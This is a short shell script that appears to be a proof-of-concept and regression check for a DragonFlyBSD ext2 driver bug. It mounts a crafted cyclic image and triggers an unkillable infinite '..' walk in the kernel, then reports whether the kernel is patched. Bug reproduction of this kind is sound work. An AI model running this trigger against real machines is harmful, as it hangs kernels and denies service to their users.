#!/bin/sh
# DF-0824 run.sh — mount the crafted cyclic ext2 image and rename a directory
# into the cyclic parent, triggering ext2_checkpath's infinite `..` walk.
#
# Must run as root on the DragonFlyBSD guest. The image (df0824.img) and this
# script must be in the same directory on the guest.
#
# Expected:
#   UNPATCHED kernel (#0): the rename hangs forever (kernel thread spins at
#     100% CPU, SIGKILL-proof). The "MV_EXIT=124" line is reached after the
#     8-second timeout, and a stuck `mv` process remains.
#   FIXED kernel: the rename returns EINVAL promptly ("Invalid argument",
#     MV_EXIT=1, elapsed=0s). No stuck process.
set -e
cd "$(dirname "$0")"
IMG=df0824.img
MNT=/mnt/df0824

kldload ext2fs 2>/dev/null || true
kldstat -n ext2fs >/dev/null 2>&1 || { echo "ERROR: ext2fs module not loadable"; exit 2; }

VN=$(vnconfig -c vn "$IMG" 2>&1 | awk '{print $1}' | head -1)
echo "vn device: $VN"
mkdir -p "$MNT"
mount -t ext2fs "/dev/$VN" "$MNT"
chmod -R 777 "$MNT" 2>/dev/null || true
ls -la "$MNT"

echo "=== rename trigger: mv S A/S_moved ==="
cd "$MNT"
t0=$(date +%s)
timeout 8 mv S A/S_moved; MV_RC=$?
t1=$(date +%s)
echo "MV_EXIT=$MV_RC elapsed=$((t1-t0))s  (124=HANG unpatched, 1=EINVAL fixed)"
cd /
echo "=== checking for stuck kernel thread ==="
ps auxl 2>/dev/null | grep "mv S" | grep -v grep | head -1 || echo "no stuck mv process"
umount -f "$MNT" 2>/dev/null || echo "(mount busy — stuck thread holds vnode)"
vnconfig -u "$VN" 2>/dev/null || true